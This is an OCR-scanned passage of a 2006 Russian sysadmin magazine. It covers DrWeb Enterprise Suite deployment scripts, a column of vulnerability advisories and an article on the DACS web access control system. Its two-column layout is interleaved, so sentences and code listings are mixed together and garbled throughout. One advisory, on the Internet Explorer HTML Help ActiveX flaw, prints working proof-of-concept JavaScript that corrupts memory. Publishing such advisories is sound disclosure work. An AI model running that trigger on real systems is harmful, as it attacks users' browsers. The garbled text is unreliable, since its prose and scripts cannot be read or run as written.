и другой компании, благо их на рынке не две и даже не три. плекса. Не лишним будет сказать, что данный ключ акти-
Выбор на самом деле более чем богатый. Наш выбор прохо- вации – секретная часть комплекса, которая используется
дил достаточно давно, и в целом работа продукта на протя- только на серверной стороне.
жении нескольких лет нас удовлетворяла, поэтому вполне Для работы комплекса следует еще сгенерировать
логичным был шаг, что в дальнейшем мы перешли на ком- приватный и публичный ключи. Что это такое и для чего
плексное решение – DrWeb Enterprise Suite. нужно?
Чтобы клиентская часть комплекса, которая устанавли-
Установка программного комплекса вается на рабочую станцию, смогла подключиться к серве-
С сайта компании загрузите серверную часть. В ее состав ру и быть им опознана, используется асимметричная схе-
входит и базовый комплект для агента – это ядро и те ан- ма криптования, в какой-то степени аналогичная PGP. С по-
тивирусные базы, которые были доступны на момент вы- мощью публичного ключа, который используется на рабо-

№8, август 2006 69


безопасность
esac

exit 0

Хотя официально Slackware Linux не поддерживается,


однако совместимость GLIBC-библиотеки (2.3.2) на мо-
ей системе с Debian-системой, для которой уже есть ар-
хив на сайте фирмы, позволила развернуть антивирусный
комплекс и на этой системе.
На этом серверная часть готова. Запускаете серверную
часть с помощью скрипта /etc/rc.d/rc.drwebd:

# /etc/rc.d/rc.drwebd start

Следующим шагом подготовьте установочные файлы


для инсталляции на рабочих местах. Я поступил вот как –
сделал самораспаковывающийся архив, в который я по-
местил файлы: drwinst.exe, drwcsd.pub, drwebc.bat. Первый
Рисунок 1. Консоль управления комплексом файл – это инсталлятор, задача которого зарегистрировать
рабочую станцию на сервере с помощью публичного ключа
чей станции, и приватного ключа, который находится не- сервера (второй файл). А затем загрузить с сервера необхо-
посредственно на сервера, происходит установка шифро- димые антивирусные обновления. Третий файл – пакетный,
ванного канала связи. По нему будут передаваться как са- в котором хранится IP-адрес антивирусного сервера.
ми антивирусные базы и обновления от сервера к клиен-
ту, так и информация о заражении и статистика в обрат- drwinst.exe -interactive -verbosity=all drwcs.lan.net
ном направлении.
Не обязательно явно указывать адрес для сервера,
$ cd /opt/drwcs т.к. установочный компонент посылает в сеть multicast-за-
$ bin/drwsign genkey etc/drwcsd.pri etc/drwcsd.pub
$ chmod 600 etc/drwcsd.pri просы, с помощью которых и определяется нужный IP-адрес
$ chown drwcs:drwcs etc/drwcsd.pri сервера. Однако в сети со множеством маршрутизаторов
$ mv etc/drwcsd.pub Installer
и роутеров, лучше использовать явное задание адреса.
И подготовьте еще один компонент – саму базу данных, Самораспаковывающийся архив я разместил на веб-
где будет храниться вся текущая информация о станциях, странице сервера, так что, кроме самого DrWeb Enterprise
вирусной активности, лечении и т. п. Suite, на Linux-сервере еще крутится и Аpache-сервер. Ре-
шение достаточно удобно, ибо на рабочем месте запуска-
$ bin/drwcsd -var-root=./var -verbosity=all ↵ ется Internet Explorer, с помощью которого загружается ар-
-log=var/server.log initdb agent.key
хив. Затем архив распаковывается и запускается файл
База проинициализирована (см. документацию к про- drwebc.bat.
дукту [18]). Теперь подготовим стартовый скрипт для за- После регистрации рабочих станций основная работа
пуска серверной части. У меня используется следующий уже происходит на станции, с которой управляется антиви-
вариант. русный комплекс. Данная работа производится через кон-
соль управления (см. рис. 1).
Скрипт запуска/остановки серверной части для Slackware Linux Все рабочие станции можно разбить на отдельные груп-
#!/bin/sh пы, для каждой из которых составить правила, в частнос-
DISTVER="Slackware 10.0" ти, расписание на ежедневное или еженедельное скани-
BIN=/opt/drwcs
рование, политика локального доступа с рабочих стан-
case "$1" in ций, т.е. можно ли останавливать клиентскую часть или не-
start)
cd $BIN льзя и т. п.
echo -n "Starting DRWEB Engine ..." Все станции, которые в данный момент включены, на-
su - drwcs -c "$BIN/bin/drwcsd -home=$BIN ↵
-var-root=$BIN/var -verbosity=all ↵ ходятся в группе Online. Те же, которые выключены, нахо-
-log=$BIN/var/server.log -rotate=5,500000 ↵ дятся в группе Offline.
-daemon -pid=$BIN/var/drwebd.pid"
echo -e " Done" Как я уже отмечал, за непосредственную защиту от-
;; вечает клиентская часть комплекса (Enterprise Agent), ко-
stop)
echo -n "Stopping DRWEB Engine ..." торая представлена 3 компонентами: Dr.Web Scanner for
killall -15 drwcsd-unsafe Windows, Spider Guard for Windows и Spider Mail for Windows
echo -e " Done"
;; Workstations. Первый компонент предназначен для скани-
restart) рования рабочей станции, может быть запущен как с самой
$0 stop
$0 start рабочей станции, так и с операторской консоли управления.
;; Второй компонент отвечает за проверку всех тех файлов,
echo "Usage: $0 {start|stop|restart}"
exit 1 к которым происходит обращение операционной системы

70
безопасность
в режиме runtime. Третий компонент от-
вечает за проверку входящей и исходя-
щей почты. То есть как только вы начи-
наете получать email с помощью почто-
вого клиента, то все входящие сообще-
ния будут проверены еще и этим ком-
понентом.
Чем хороша статистика, так это тем,
что вы точно знаете, где и когда произо-
шел факт инфицирования (см. рис. 2).
А также названия наиболее «популяр-
ных» вирусов в вашей организации, ко-
торые были излечены (а иначе отку-
да бы вы знали об их существовании?).
Это здорово, когда организация неболь-
шая и подключений к глобальным сетям
нет. Однако и в таких условиях вероят-
ность того, что на ПЭВМ организации
есть хотя бы один макровирус в доку- Рисунок 2. Статистика по группе «Online».
ментах Microsoft Word, в различного ро-
да архивах, которые принесли сотрудники из дома, от зна- Согласно расписанию происходит обновление комплек-
комых или еще откуда-нибудь, будет отличаться от нуле- са. Однако что именно обновлять? Чтобы узнать это, сто-
вой. Лучше изначально считать, что «пациент скорее ин- ит заглянуть в пункт «Administration → Configure Repository».
фицирован, нежели здоров». Однако и панику разводить, Репозитарий представлен 5 частями: сам сервер, антиви-
конечно же, не стоит. русные базы, клиентская часть, консоль управления, агент.
Серверная часть антивирусного комплекса периоди- В настройках репозитария можно указать proxy-сервер, че-
чески производит действия, указанные в расписании. На- рез который вы выходите в Интернет и через который будут
пример, каждый час происходит проверка на наличие но- забираться новые версии продукта. Допустимо настраивать
вых обновлений и антивирусных баз. На рис. 3 приведе- репозиторий как по отдельным компонентам, так и в це-
но расписание, которое будет использовано по умолча- лом (см. рис. 4, 5).
нию. Вы можете изменить его, добавив новый пункт или Работа над программным комплексом ведется посто-
изменить время, когда необходимо производить те или янно, и появляются все новые и новые функции. Когда я
иные действия. только начал работать с Enterprise Server, многих функ-
ций просто не было. Например, не было просмотра теку-
щей загруженности сервера, не было статистики по сум-
марному трафику, прошедшему через антивирусный сер-
вер и т. п. В новой версии (речь идет о 4.33) они представ-
лены и, как мне кажется, очень удачно вписываются в об-
щую картину (см. рис. 6, 7).
Рассказ был бы неполным, если бы я не упомянул о том,
как делать регулярную выгрузку базы. Какая цель здесь
Рисунок 3. Расписание сервера.
преследуется? Во-первых, самое ценное в работе антиви-
русного пакета – это информация о зарегистрированных
станциях, точнее о hash-ключах, которые формируются
при регистрации. Она хранится как на станции, так и в ба-
зе антивирусного сервера. Отчасти по этим ключевым дан-
ным происходит «узнавание» зарегистрированных станций.
Во-вторых, знать, когда и где произошла «эпидемия» так-
же важно. Поэтому даже если физически произойдет от-
каз сервера и у вас будет резервная копия антивирусной
базы, то ввод в эксплуатацию нового серверного «желе-
за», взамен отказавшего займет довольно короткое вре-
мя. Не нужно будет заново регистрировать станций. Смот-
рите файл export_idb.sh.

Скрипт для выгрузки внутренней БД

#!/bin/sh

#########################################################
Рисунок 4. Компонент репозитория «Enterprise Agent». # Exporting internal DrWEB DB into .SQL dump script

№8, август 2006 71


безопасность
export LC_ALL="C"

$DRWENGINE stop
echo "Engine Stopped";

echo "Sleep 10 seconds";


sleep 10s;

OUTPUT=`$ECHO IDB.$($DATE +%d_%b_%Y_-_%k_%M).sql.bz2`;


echo "Exporting Internal DrwebDB into $OUTPUT ↵
.sql script";

Рисунок 5. Общая настройка репозитория подразумевает $IDBSH $IDB ".dump" | $BZ2 > $OUTPATH$OUTPUT
глобальную настройку.
echo "DrWEB IntDB dumped"

$DRWENGINE start

Осталось добавить в cron новое расписание и вуаля!

50 0 * * * /root/System/export_idb.sh > /dev/null 2>&1

В качестве заключения
Несмотря на то что существует множество альтернативных,
как коммерческих, так и бесплатных антивирусных про-
граммных решений, стоит отметить, что компания «ООО
«Доктор Веб» была одной из первых, кто предложил по-
добную методологию антивирусного управления. Что ка-
сается качества программного кода, а именно безаварий-
ность в работе рабочих станций при развертывании систе-
мы и/или переходе со старой версии комплекса на новую,
то в этой ситуации стоит понимать простые истины. Как и
везде существуют стадии проверки и отладки, так и у рас-
смотренного комплекса есть beta-версии, задача которых
Рисунок 6. Суммарная статистика сервера. «отловить» острые моменты и устранить их. Если придер-
живаться принципа здорового консерватизма и развер-
тывать систему в стадии stable, то это позволит вам чи-
тать страшные истории о последствиях установки систе-
мы с улыбкой на устах.
На этом всё, успехов!

1. http://www.symantec.com.
2. http://www.esetnod32.ru/products/ee.htm.
3. http://www.sophos.com/products/es.
4. http://www.mcafee.com/us/enterprise/index.html.
5. http://www.f-secure.com/small_businesses/products/fsavwks.
html.
6. http://www.panda-antivirus.ru/images2/panda-prod.html.
7. http://solutions.drweb.com/business/esuite – Drweb Enterprise
Suite.
8. http://www.kaspersky.ru/products?chapter=145665459.
9. ftp://ftp.drweb.com/pub/drweb/esuite/drweb-es-4.33-200510280-
linux-debian-sarge.tar.gz.
10. http://www.drweb.ru/download/627 – документация к продукту
Рисунок 7. Графические данные. Drweb ES.
11. http://www.kaspersky.ru/corporatesolutions – Kaspersky Corporate
# 28 Sep 2005, AB Suite.
#########################################################
12. http://www.f-secure.com/products/anti-virus/enterprisesuite.
DATE=/usr/bin/date 13. http://eset.com/products/enterprise_edition.php.
IDBSH=/opt/drwcs/bin/drwidbsh
IDB=/opt/drwcs/var/dbinternal.dbs 14. http://www.sophos.com/products/es/endpoint-server/security.
BZ2=/usr/bin/bzip2 html.
ECHO=/usr/bin/echo
DRWENGINE=/etc/rc.d/rc.drwebd 15. http://www.mcafee.com/us/enterprise/products/security_suite_
solutions/total_protection_solutions/total_protection_enterprise.
OUTPATH=/root/System/drweb/
html.

72
bugtraq

Переполнение буфера в DHCP-клиенте Переполнение буфера при обработке


в Microsoft Windows JPEG-изображений в Opera
Программа: Microsoft Windows 2000, Microsoft Windows XP, Программа: Opera 8.54, возможно, более ранние версии.
Microsoft Windows 2003. Опасность: Критическая.
Опасность: Критическая. Описание: Целочисленное переполнение буфера сущест-
Описание: Уязвимость существует из-за ошибки провер- вует из-за ошибки при обработке JPEG-изображений. Уда-
ки границ данных в DHCP-клиенте при обработке DHCP-от- ленный пользователь может с помощью специально сфор-
ветов. Удаленный пользователь может послать специаль- мированного JPEG-изображения выполнить произвольный
но сформированный DHCP-пакет и выполнить произволь- код на целевой системе.
ный код на целевой системе. URL производителя: www.opera.com.
URL производителя: www.microsoft.com. Решение: Установите последнюю версию (9.0) с сайта про-
Решение: Установите исправление с сайта производи- изводителя.
теля.

Переполнение буфера в службе Server


Целочисленное переполнение буфера Программа: Microsoft Windows 2000, Microsoft Windows XP,
в libwmf Microsoft Windows 2003.
Программа: libwmf 0.2.8.4, возможно, другие версии. Опасность: Критическая.
Опасность: Высокая. Описание: 1. Переполнение буфера существует в драйве-
Описание: Целочисленное переполнение буфера сущест- ре SRV.SYS службы Server при обработке Mailslot-сообще-
вует из-за отсутствия проверки входных данных, получен- ний. Удаленный пользователь может с помощью специаль-
ных из WMF-файла. Удаленный пользователь может с по- но сформированного пакета вызвать отказ в обслуживании
мощью специально сформированного WMF-файла вызвать или выполнить произвольный код на целевой системе.
переполнение динамической памяти и выполнить произ- 2. Уязвимость существует из-за некорректной иници-
вольный код на целевой системе. ализации буфера при обработке SMB-пакетов. Удален-
URL производителя: wvware.sourceforge.net/libwmf.html. ный пользователь может с помощью специально сформи-
Решение: В настоящее время способов устранения уязви- рованного SMB-пакета просмотреть некоторые фрагмен-
мости не существует. ты памяти.
URL производителя: www.microsoft.com.
Решение: Установите исправление с сайта производи-
Переполнение буфера в WinRAR теля.
Программа: WinRAR 3.60 beta 6, возможно, более ран-
ние версии.
Опасность: Высокая. Повреждение памяти в HTML Help
Описание: Уязвимость существует из-за ошибки при об- ActiveX-компоненте в Internet Explorer
работке самораспаковывающихся SFX-архивов. Удален- Программа: Microsoft Internet Explorer 6.x.
ный пользователь может с помощью специально сформи- Опасность: Высокая.
рованного архива вызвать переполнение буфера и выпол- Описание: Уязвимость существует из-за ошибки в HTML
нить произвольный код на целевой системе. Help ActiveX-компоненте (hhctrl.ocx) при обработке свойс-
URL производителя: www.rarlab.com. тва Image. Удаленный пользователь может установить не-
Решение: В настоящее время способов устранения уязви- сколько раз слишком длинную строку для уязвимого свойс-
мости не существует. тва, вызвать повреждение памяти и выполнить произволь-
ный код на целевой системе.
Пример:
Целочисленное переполнение буфера function Demo() {
в Apple iTunes var a = new ActiveXObject("Internet.HHCtrl.1");
Программа: Apple iTunes версии до 6.0.5. var b = unescape("XXXX");
while (b.length < 256) b += b;
Опасность: Высокая.
Описание: Целочисленное переполнение буфера сущест- for (var i=0; i<4096; i++) {
a['Image'] = b + "";
вует из-за ошибки при обработке AAC-медиафайлов (.M4A }
и .M4P), содержащих специально сформированное зна- }
<input type='button' onClick='Demo()' value='Start Demo!'>
чение sample_size_table. Удаленный пользователь может
с помощью специально сформированного AAC-файла вы- URL производителя: www.microsoft.com.
звать повреждение памяти и выполнить произвольный код Решение: В настоящее время способов устранения уязви-
на целевой системе. мости не существует.
URL производителя: www.apple.com/itunes.
Решение: Установите последнюю версию (6.0.5) с сайта Составил Александр Антипов
производителя.

№8, август 2006 73


web

Контролируем доступ
к веб-сервису с помощью DACS

Сергей Яремчук
Если для настольных систем проблему аутентификации и авторизации можно считать
решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще
не удовлетворяют современным требованиям безопасности.

Недостатки базовой редача пароля в открытом виде. И, кро- раняемой области. Не защищена basic-
и digest-аутентификаций ме того, веб-браузер запоминает эту схема и от перебора пароля.
В протоколе HTTP предусмотрено два информацию и передает ее серверу В digest-схеме эти проблемы час-
типа аутентификации: basic и digest, ко- при каждом обращении, а если не очис- тично решены. По сети (опять же
торые определены в RFC 2617. Их ме- тить кэш браузера, то возможно полу- при каждом обращении) передается
ханизм очень подробно рассмотрен чить доступ к серверу без ввода паро- Response, который представляет со-
в статьях Алексея Мичурина [1, 2]. Ос- ля даже через неделю, месяц. Самое бой контрольную (обычно MD5) сумму
тановлюсь на недостатках. главное, что у злоумышленника всегда от комбинации логина, пароля, запра-
Для базовой аутентификации са- будет возможность перехватить логин шиваемого URL, метода HTTP и строки
мым главным недостатком является пе- и пароль и получить доступ ко всей ох- nonce, генерируемой сервером при от-

74
web
вете. Все параметры, кроме последне- всей системы через некоторое время вать и удостоверить себя DACS. Обыч-
го, теоретически можно попробовать можно будет уже не говорить. но для этого применяется пара логин
либо угадать, либо подобрать, поэто- и пароль, но может быть использован
му от алгоритма генерирования nonce Знакомство цифровой сертификат или оба этих ме-
во многом зависит уникальность всей с системой DACS тода одновременно. Здесь пока ниче-
комбинации. Хотя здесь также воз- Система веб-аутентификации и уп- го не обычного. Отличие заключается
можны варианты. Например, включе- равления доступом DACS (Distributed в том, что система доступа DACS осу-
ние в nonce метки времени позволя- Access Control System) представляет со- ществлена при помощи ролевой моде-
ет не только сделать ее уникальной, бой набор программ, позволяющих ог- ли RBAC (role-based access control). Поэ-
но и контролировать время отклика, раничить доступ пользователей к лю- тому здесь логин не равен identity, поль-
использование клиентского IP-адреса, бому ресурсу популярного веб-сервера зователь может быть ассоциирован
откуда идут запросы, добавив счетчик Apache. Начало разработок датировано сразу с несколькими identity, и, наобо-
соединений и контролировать количес- маем 2001 года. Дизайном, внедрением рот, identity может описывать не только
тво запросов, сделанных конкретным и поддержкой занимается небольшая логин и системное имя (т.е. фактичес-
клиентом. К сожалению, современ- канадская фирма-разработчик DSS ки имя процесса), но и другие парамет-
ные веб-серверы и браузеры пока еще (Distributed System Software) при содейс- ры (роль, IP-адрес, группу и пр.). Прави-
не полностью поддерживают все спе- твии Metalogic Software Corp. В настоя- ла контроля доступа, задаваемые ад-
цификации и рекомендации. Поэтому щее время DACS является ключевым министратором, позволяют точно ука-
если информация действительно име- компонентом канадской государствен- зать кто, что и при каких условиях будет
ет ценность, то многие вопросы можно ной информационной системы (National использовать ресурс. Поддерживается
решить, применив в защищаемой об- Forest Information System, NFIS). и анонимный, т.е. неавторизированный
ласти протокол SSL. Последние версии DACS распро- доступ к ресурсу.
Это взгляд со стороны сети. Ад- страняются под двойными лицензион-
министрирование при использовании ными условиями: свободной и коммер- Сredentials
как basic, так и digest-методов мож- ческой. Если вы распространяете про- Пользователю, успешно прошедше-
но назвать простым, но только в слу- дукт, базирующийся на DACS, он дол- му процедуру аутентификации, пре-
чае когда количество пользовате- жен быть Open Source, иначе вы долж- доставляется криптографически за-
лей или защищаемых ресурсов отно- ны приобрести коммерческую лицен- щищенное удостоверение (credentials),
сительно мало. Для ограничения до- зию. Но если DACS просто использу- которое является неким аналогом би-
ступа достаточно поместить в нуж- ется в работе, без распространения, лета (tiket), используемого в системе
ный каталог файл .htaccess и создать то коммерческая лицензия не нужна. Kerberos. Такое удостоверение в даль-
файл с паролями при помощи htpasswd Но хотя DACS и может распространять- нейшем подтверждает полномочия
или htdigest. Если же каталогов мно- ся под Open Source-лицензией, проект пользователя. Внутри удостоверения
го, лучше все описания собрать в од- таковым не является. За все разработ- может содержаться имя пользовате-
ном месте, т.е. файле конфигурации ки отвечает только небольшая группа, ля, роль, IP-адрес, с которого пользо-
веб-сервера. хотя исправления от пользователей ватель зарегистрировался и куда был
Еще одно отличие digest от basic- принимаются. отправлен credentials, и время жизни.
метода заключается в том, что пер- Первоначальная задача, на реше- Пароль, как видите, не входит в состав
вый различает закрытые зоны (в пре- ние которой был ориентирован DACS, – удостоверения. При такой схеме ис-
делах сервера), и пользователю при это упрощение использования и адми- пользование пароля внутри credentials
переходе между каталогами в одной нистрирования совместных веб-ресур- не является необходимым. Для макси-
зоне не надо повторно проходить про- сов с сохранением максимальной безо- мального удобства и лучшего взаимо-
цедуру аутентификации. Вот и все воз- пасности. Используемая в DACS сис- действия credentials обычно возвраща-
можности. Но сегодня не редка ситуа- тема аутентификации и авторизации ется пользователю в виде cookie, ко-
ция, когда в одной компании имеется позволяет очень точно установить па- торый по умолчанию использует спе-
несколько веб-серверов, которые рас- раметры доступа и отслеживать взаи- цификации Netscape, но при необхо-
положены в разных, подчас террито- модействие пользователей с сервером. димости синтаксис можно изменить
риально разнесенных подразделени- Конструктивно DACS состоит из моду- в конфигурационном файле специ-
ях, и управляемых разными админис- ля Apache (mod_auth_dacs), через ко- альной директивой COOKIE_SYNTAX.
траторами. Пользователи в зависи- торый веб-сервер связывается с DACS, Передача credentials всегда происхо-
мости от своих обязанностей должны для определения разрешений доступа дит через SSL, что затрудняет его пе-
иметь доступ к строго определенным к ресурсу, блока программ CGI, обеспе- рехват и повторное использование.
ресурсам на каждом из них. Учитывая, чивающих веб-сервис DACS, и набора Куки являются основным и рекомен-
что работники компании могут перехо- утилит, выполняющих административ- дуемым способом, хотя в принципе
дить из отдела в отдел, увольняться, ные и вспомогательные функции. Поль- могут быть использованы и дополни-
администраторам придется согласо- зователи в системе DACS представле- тельные расширения HTTP, например,
вывать все рабочие моменты по выда- ны тождествами (identity). При полу- описанные в RFC 2617 посредством
че разрешений на доступ и удалению чении доступа к защищенной облас- WWW-Authenticate, либо применены
пользователей, иначе о безопасности ти он должен сначала идентифициро- другие методы безопасной передачи

№8, август 2006 75


web
(VPN). При этом в состав DACS входят ных пользователей на страницу с ли- вился новый сервис dacs_auth_transfer,
утилиты, позволяющие самому созда- цензионным соглашением. позволяющий передавать credentials не
вать credentials, или получать их с веб- только между федерациями, но и дру-
сервера для использования другими Юрисдикции и федерации гими, в том числе не-DACS-системами,
(возможно, не веб-утилитами) при- Дальнейший разговор будет бесполе- умеющими оперировать identity. В тер-
ложениями. Учитывая, что credentials зен, если не рассказать еще о двух цен- минологии DACS такие федерации на-
являются основой работы DACS, от- тральных структурах в системе DACS. зываются присоединенными (affiliated)
ношение к их безопасности самое се- Для удобства управления доступом федерациями (хотя фактически пере-
рьезное. Так, например, кроме шиф- к ресурсам DACS различает два поня- дача происходит между юрисдикция-
рования самой куки, отдельно конт- тия: юрисдикция (jurisdiction) и феде- ми). При этом передача не обязательно
ролируется отсутствие модификации рация (federation). Юрисдикция явля- должна быть взаимной т.е. можно сво-
при помощи хеша, где могут исполь- ется минимальной автономной облас- бодно переходить из федерации А в Б,
зоваться различные алгоритмы HMAC тью, которая представляет веб-услуги а наоборот необязательно. При переда-
(Keyed-Hash Message Authentication и полностью отвечает за аутентифика- че credentials конвертируется в новую
Code), 160-бит NIST, SHA-1 или MD5. цию своих пользователей и за доступ форму, которая будет признана другой
Ключ применяется отличный от ис- к своим ресурсам. Территориально это стороной, но оригинальные удостове-
пользуемого при шифровании само- может быть как веб-сервер целиком, рения у пользователя остаются и не из-
го удостоверения. Также кэш-каталог, так и его часть. Федерация является меняются. При возвращении пользова-
в котором лежит текущий credentials, следующей ступенью и включает в се- теля в родную федерацию ему опять
должен обязательно принадлежать то- бя одну (хотя если быть точнее, то две, выдается credentials, но если выданный
му же пользователю, на чье имя выпи- так как понятие федерации в этом ранее еще не закончил своего дейст-
сано удостоверение. И только он дол- случае бессмысленно) или несколько вия, то он считается более сильным,
жен иметь доступ в используемый ка- юрисдикций. Все юрисдикции, прина- а новый признается недействитель-
талог. Если это не так, во избежание длежащие одной федерации должны ным. Передача происходит при помо-
попытки использования credentials иметь уникальное имя. В пределах фе- щи SSL, тождество сервера проверяет-
посторонним, он должен быть отвер- дерации все юрисдикции соглашают- ся при помощи сертификатов и IP-ад-
гнут. Аналогичная ситуация и при по- ся соблюдать определенные правила, реса. Так как имя пользователя содер-
пытке отправить credentials, созданный позволяющие сохранить безопасность жит и название федерации, то при пе-
для другого IP-адреса, при соответс- и одновременно повысить удобство ис- реходе в другую федерацию оно по-
твующих настройках сервер его отвер- пользования всей системы. прежнему остается уникальным.
гнет и запросит повторную аутентифи- В федерации используется единый
кацию, и в том случае когда она прой- для всех 128-битный (по умолчанию) Имена
дет успешно, создаст новый credentials симметричный AES-ключ, а все юрис- Поскольку пользователь может сво-
с новыми параметрами. Хотя такой ме- дикции обмениваются информацией, бодно перемещаться между федера-
тод защиты, естественно, не подходит позволяющей дешифровать, зашифро- циями и юрисдикциями без повтор-
для тех случаев, когда адрес может из- вывать и контролировать целостность ной аутентификации, имя играет боль-
меняться (например, при модемном со- полученных credentials. Для пользова- шую роль в системе DACS. Кроме того,
единении) или пользователь находит- теля (identity) это означает, что один раз имя используется и для совместимости
ся за NAT. Запрещено также исполь- подтвердив свои полномочия в юрис- с различными методами аутентифика-
зовать одному identity несколько дейс- дикции, он может при наличии соот- ции. Поэтому в DACS принято несколь-
твительных credentials, такая ситуация ветствующих разрешений без повтор- ко вариантов присваивания имени.
вызовет ошибку. И, как уже говори- ной регистрации получить доступ к ре- Имя текущей федерации описывается
лось, все credentials могут иметь огра- сурсу, находящемуся в другой юрис- в конфигурационном файле dacs.conf
ниченное время жизни. По умолчанию дикции одной федерации. Таким обра- в переменной FEDERATION_NAME.
оно не установлено, и администрато- зом, DACS поддерживает режим одно- При работе формат такой:
ру следует его подобрать и выставить кратной регистрации (SSO – single sign-
самостоятельно, исходя из требований on). Для администраторов упрощается federation-name::
безопасности и удобства. Если макси- поддержка сервиса, так как теперь он
мальное время жизни не установле- может следить за распределением ро- Имя юрисдикции задается при по-
но, то в любом случае все credentials лей только в своей юрисдикции. Общее мощи JURISDICTION_NAME, но в пра-
будут уничтожены, только после того количество пользователей будет мень- вилах оно состоит из имени федера-
как пользователь закроет окно браузе- ше, так как не надо заводить дополни- ции, к которой она принадлежит, и име-
ра или нажмет на кнопку выхода. Если тельные акаунты на других серверах. ни юрисдикции:
аутентификация закончилась не удач- Администратор доверенного сервера
но, могут быть использованы различ- теперь будет решать, разрешать или federation-name::jurisdiction-name:
ные обработчики. Поэтому DACS мож- запрещать доступ к своим ресурсам
но использовать для реакции на лю- для определенных ролей, не вникая Хотя для текущей федерации или
бые аварийные ситуации, например, в подробности. Но это еще не все, на- отсутствии федераций ее имя может
перенаправляя незарегистрирован- чиная с версии 1.4.11 (март 2006) поя- опускаться:

76
web
::jurisdiction-name: и к группам, определенным другими ля ACS производит поиск правил, со-
юрисдикциями. ответствующих его тождеству. Здесь
Добавив третий компонент, полу- Например, такие пользователи может быть применено несколько ва-
чим имя пользователя: в правилах будут легитимными: риантов правил.
Иногда администратору нужно
federation-name:: ↵ user name="SALES:boss" быстро произвести какое то дейс-
jurisdiction-name:username user name="%SALES:admin"
user name="10.0.0.118" твие, не обращаясь к правилам. Ча-
Все имена чувствительны к регис- user name="192.168.0.0/24" ще всего необходимость такая возни-
user name="home.com"
тру (если это не переопределено спе- user name="HOME:" кает во временном отключении поль-
циальными директивами). Для удобс- user name="auth" зователя или целого участка сети.
user name="unauth"
тва федерации и юрисдикции пишутся Для этих целей в DACS применяется
заглавными буквами, а пользователи – Последние два правила описыва- т.н. revocation list. Такой список состо-
маленькими. Например, в credentials ют соответственно авторизированно- ит из линий, в каждой описан пользо-
имя заносится в таком виде: го и неавторизированного пользовате- ватель (все правила, указанные вы-
лей. Обратите внимание, что вот такие ше, естественно, и здесь соблюдают-
HOME::SALES:boss правила не равнозначны: ся) и действие. Действий предусмот-
рено всего два: deny и revoke. Первое
А можно и так: user name="auth" означает запрет доступа и окончание
user name="HOME:auth"
дальнейшей обработки revocation list.
::SALES:boss Первое соответствует всем успеш-Второе игнорирует полученное удос-
SALES:boss
:boss но зарегистрировавшимся пользова- товерение, делая пользователя фак-
телям, второе только принадлежащим тически неавторизованным, обработ-
В имени не должны встречаться к юрисдикции HOME. ка списка при этом продолжается. На-
знаки «* , : + ( ) ~ < > = | \ /» и «"». Все ос- Если использовать пользовате- пример:
тальные разрешены. Длина имен не ля any, то запрос о соответствии име- Запрет доступа неаутентифициро-
ограничена, здесь просто стоит под- ни в проверяемом правиле всегда бу- ванных пользователей:
ходить к процессу творчески, чтобы дет возвращать true. Также поддержи-
при большом количестве юрисдик- ваются и некоторые операции. Напри- deny user("unauth")
ций и федераций можно было понять, мер, такой конструкцией можно выде-
о ком речь. Имя пользователя при за- лить всех пользователей admin любой Сброс всех удостоверений:
просах передается как переменная юрисдикции:
DACS_USERNAME. revoke user("any")
Но это в credentials. В правила в па- user name="*:admin"
раметр user могут быть занесены груп- Запрет доступа на выходные:
пы, IP-адреса, сети и под сети. Имена или всем, кроме пользователя sergej:
группы образуются аналогично поль- deny time("wday") eq 6 or ↵
user("not *:sergej") time("wday") eq 0
зовательским, только на первом месте
должен стоять знак процента %. Сброс всех удостоверений кро-
Можно задавать и более развет- ме полученных из внутренней сети,
%HOME::SALES:friends вленные конструкции, список всех т.е. пользователь из внешней всегда
%::SALES:friends
%SALES:friends поддерживаемых операторов найде- будет анонимным:
%:friends те в документации.
Например, для всех не sergej и не- revoke not from("192.168.1.0/24")
Понятие группы в контексте DACS авторизованных список будет выгля-
имеет двойное значение. С одной деть так: После того как будет обработан
стороны, это списки пользователей revocation list, модуль ведет просмотр
в обычном понимании, с другой сто- user("not *:sergej and noauth") правил контроля дост упа. Типич-
роны, здесь могут быть указаны роли, ное правило состоит из двух частей –
под которыми здесь понимают инфор- При создании более сложных конс- services и rule – и должно быть интуи-
мацию о членстве конкретного пользо- трукций можно создавать списки поль- тивно понятно.
вателя в группах. В юрисдикции можно зователей (user_list).
определить любое количество групп, <acl_rule>
<services>
на которые можно ссылаться в груп- Правила контроля доступа <service url_pattern= ↵
пах и правилах в других юрисдикци- Компонентом, отвечающим за получе- "/cgi-bin/*"/>
</services>
ях. То есть когда DACS нужно решить, ние решений о доступе, является сер-
к какой группе принадлежит сделав- вис контроля доступа DACS (access <rule order="allow,deny">
<allow>
ший запрос пользователь, система control service – ACS). Реализован user("auth")
обращается к локальным группам, ро- при помощи программы dacs_acs. Пос- </allow>
</rule>
ли, соответствующей пользователю, ле успешной авторизации пользовате- </acl_rule>

№8, август 2006 77


web
Кроме того, DACS предоставля- DACS, для генерирования credentials альности. DACS может быть установ-
ет возможность делегировать права используется команда autologin, ко- лен в принципе на любую UNIX-плат-
на определенный ресурс другому поль- торая позволяет DACS использовать форму, где можно найти работающий
зователю. Выглядит это так: любой из существующих методов ау- компилятор GCC 3.3/3.4.
тентификации Apache при сохранении На сайте дается информация,
<delegate url_pattern="/cgi-bin ↵ простоты конфигурации. Кроме того, что DACS успешно протестирован с та-
/myprog" rule_uri="my_acls"/>
начиная с версии 1.4.13, DACS подде- кими дистрибутивами и платформа-
рживает еще одну систему аутенти- ми CentOS (Red Hat Enterprise) Linux
Возможности фикации Central Authentication Service (AMD64), Solaris 10 (SunOS 5.10, x86),
по аутентификации (CAS), разрабатываемую проектом FreeBSD 5.X и 6.X (i686) и частично ис-
Управление аутентификацией пользо- JA-SIG [5]. Кратко сервер CAS позво- пытана с Cygwin. Я собирал систему
вателя является еще одной из сильных ляет реализовать режим однократной DACS на ALTLinux 3.0 и Slackware 10.1.
сторон системы безопасности DACS. регистрации всем легальным пользо- На клиентской стороне не требуется
Непосредственно за аутентификацию вателям для доступа к любому ресур- установки специфичного программно-
отвечает юрисдикция, которой прина- су (web, почта и пр.) путем реализа- го обеспечения.
длежит пользователь и который, ес- ции режима прокси-аутентификации,
тественно, должен быть ей известен. посредством ticket (эта система силь- Что имеем?
В разных юрисдикциях в пределах но напоминает Kerberos). CAS также Из всего сказанного можно сделать
федерации не обязательно использо- поддерживает все доступные сегод- вывод о том, что система DACS обла-
вать один и тот же способ аутентифи- ня варианты аутентификации. Кроме дает достаточно мощными возможнос-
кации. Администратор сам волен вы- того, как уже говорилось, можно со- тями при достаточной гибкости в на-
